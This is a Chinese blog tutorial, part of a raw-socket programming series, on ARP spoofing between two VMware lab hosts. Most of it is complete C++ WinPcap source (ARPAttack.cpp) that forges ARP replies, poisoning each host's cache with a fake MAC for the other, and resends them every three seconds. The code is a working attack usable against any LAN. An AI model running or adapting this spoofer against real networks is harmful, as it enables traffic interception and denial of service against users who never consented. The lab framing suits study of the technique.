原始套接字编程(五)

虚拟机模拟ARP协议

1.信息查询,

  查询目标主机A(虚拟机)的IP地址:192.168.43.100

  查询目标主机A(虚拟机)的MAC地址:00-0c-29-b2-09-fa

 

  查询目标主机B(本机WM8虚拟网卡)的IP地址:192.168.43.110

  查询目标主机B(本机WM8虚拟网卡)的MAC地址:00-50-56-C0-00-08

 

2.查找arp缓存表

通过使用arp –a命令,找到对应接口下的arp缓存表


如图表中不存在虚拟主机的缓存表,此时通过ping命令相互ping一次,使地址被记录



3.编程主动向这2个目标发送ARP响应包,欺骗MAC地址已经修改。

实际:    

目标A:

00-0C-29-B2-09-FA  -   192.168.43.100

目标B:

00-50-56-C0-00-08   -  192.168.43.110

改变后:

告诉A:

通讯的B的MAC地址变了12-34-56-78-9A-BC - 192.168.43.110

告诉B

通讯的A的MAC地址变了12-34-56-78-9A-BC - 192.168.43.100

 

4.发送原始数据包

 pcap_findalldevs:获取设备列表

 pcap_open_live:打开网卡,准备抓取流量

 pcap_freealldevs:释放设备列表中的空间

 pcap_sendpacket:发送ARP包

编写代码: ARPAttack.cpp

// ARPAttack.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"

#include "pcap.h"
#include "protocol.h"

#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")

#pragma comment(lib,"wpcap.lib")
//打开虚拟网卡VM8
pcap_t *init()
{
	pcap_if_t *alldevs;
	pcap_if_t *d;
	int inum;
	int i = 0;
	pcap_t *adhandle;
	char errbuf[PCAP_ERRBUF_SIZE];

	/*
	显示网卡设备列表
	*/
	if (pcap_findalldevs(&alldevs, errbuf) == -1)
	{
		fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
		exit(1);
	}

	/*
	打印列表
	*/
	for (d = alldevs; d; d = d->next)
	{
		printf("%d. %s", ++i, d->name);
		if (d->description)
		{
			printf("(%s)\n", d->name);
		}
		else
		{
			printf("(no description available)\n");
		}
	}

	if (i == 0)
	{
		printf("\n no interfaces found! Make sure WinPcap is installed\n");
		return 0;
	}

	printf("Enter the interface number(1-%d):", i);
	scanf("%d",&inum);

	if (inum < 1 || inum > i)
	{
		printf("\nInterface number out of range\n");
		pcap_freealldevs(alldevs);
		return 0;
	}

	//跳到选择的适配器
	for (d = alldevs, i = 0; i < inum - 1; d = d->next, i++)
	{
	}
	//打开设备和适配器
	if ((adhandle = pcap_open_live(d->name,
		65536,
		1,
		1000,
		errbuf)) == NULL)
	{
		fprintf(stderr, "\nUnable to open the adapter. %s is not supported by winPcap\n");
		//释放设备列表
		pcap_freealldevs(alldevs);
		return 0;
	}

	printf("\nlistening on %s ...\n", d->description);

	//此刻不需要任何设备列表,可以释放
	pcap_freealldevs(alldevs);
	return adhandle;
}

//把字符转成16进制数
//把输入的12字节的MAC字符串,转变为6字节的16进制MAC地址
void ChangeMacAddr(char *p, UCHAR a[])
{
	char *p1 = NULL;
	int i = 0;
	int high, low;
	char temp[1];
	for (i = 0; i < 6; i++)
	{
		p1 = p + 1;
		switch (*p1)
		{
		//计算低位的16进制
		case 'A':
			low = 10;
			break;
		case 'B':
			low = 11;
			break;
		case 'C':
			low = 12;
			break;
		case 'D':
			low = 13;
			break;
		case 'E':
			low = 14;
			break;
		case 'F':
			low = 15;
			break;
		default:
			temp[0] = *p1;
			//如果为数字就直接转变成对应的数值
			low = atoi(temp);
		}

		switch (*p)
		{
		//计算高16进制
		case 'A':
			high = 10;
			break;
		case 'B':
			high = 11;
			break;
		case 'C':
			high = 12;
			break;
		case 'D':
			high = 13;
			break;
		case 'E':
			high = 14;
			break;
		case 'F':
			high = 15;
			break;
		default:
			temp[0] = *p;
			//如果为数字就直接转变成对应的数值
			high = atoi(temp);
		}
		//指针指向下一个x(高)x(低)字符串
		p += 2;
		//求16进制值
		a[i] = high * 16 + low;
	}
}

//构建ARP包
void makeArpPacket(ARP_PACKET &ARPPacket, char * srcMac, char * srcIP, char * dstMac, char * dstIP)
{
	UCHAR MacAddr[6] = { 0 };

	//以太网头
	//目的MAC地址
	ChangeMacAddr(dstMac, ARPPacket.ehhdr.eh_dst);   
	//源MAC地址。
	ChangeMacAddr(srcMac, ARPPacket.ehhdr.eh_src);   
	//数据类型ARP请求或应答
	ARPPacket.ehhdr.eh_type = htons(EPT_ARP);        

	//ARP头 
	//硬件地址为0x0001表示以太网地址
	ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);  
	//协议类型字段为0x0800表示IP地址
	ARPPacket.arphdr.arp_pro = htons(EPT_IP);        
	//硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度,
	ARPPacket.arphdr.arp_hln = 6;                    
	//以字节为单位。对于以太网上IP地址的ARP请求或应答来说,它们的值分别为6和4。
	ARPPacket.arphdr.arp_pln = 4;                    
	//ARP请求值为1,ARP应答值为2,RARP请求值为3,RARP应答值为4
	ARPPacket.arphdr.arp_op = htons(ARP_REPLY);      
	//发送方 源MAC地址(欺骗的MAC地址)
	ChangeMacAddr(srcMac, ARPPacket.arphdr.arp_sha); 
	//发送方 源IP地址 (欺骗的MAC地址)
	ARPPacket.arphdr.arp_spa = inet_addr(srcIP);     
	//目标的MAC地址 
	ChangeMacAddr(dstMac, ARPPacket.arphdr.arp_tha); 
	//目标的IP地址  
	ARPPacket.arphdr.arp_tpa = inet_addr(dstIP);     
}

//发送ARP包
void sendArpPacket(pcap_t *fp, ARP_PACKET &ARPPacket)
{
	if (pcap_sendpacket(fp, (const u_char*)&ARPPacket, sizeof(ARPPacket)) != 0)
	{
		fprintf(stderr, "\nRrror sending the packet:%s\n", pcap_geterr(fp));
		return;
	}
}

int _tmain(int argc, _TCHAR* argv[])
{
	//1.初始化网络环境
	pcap_t *adhandle = init();

	//2.填充数据包
	ARP_PACKET ARPPacket_A = { 0 };
	ARP_PACKET ARPPacket_B = { 0 };

	makeArpPacket(ARPPacket_A, "123456789ABC", "192.168.43.110", "000C29B209FA", "192.168.43.100");
	makeArpPacket(ARPPacket_B, "123456789ABC", "192.168.43.100", "005056C00008", "192.168.43.110");

	while (true)
	{
		//3.发送数据包
		sendArpPacket(adhandle, ARPPacket_A);
		sendArpPacket(adhandle, ARPPacket_B);
		printf("send 0k!\n");
		Sleep(3000);
	}

	pcap_close(adhandle);
	return 0;
}

5.环境配置:

5.1:


5.2:


5.3:


5.4:

网卡选择


再在注册表中查找对应的网卡



6:测试



  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值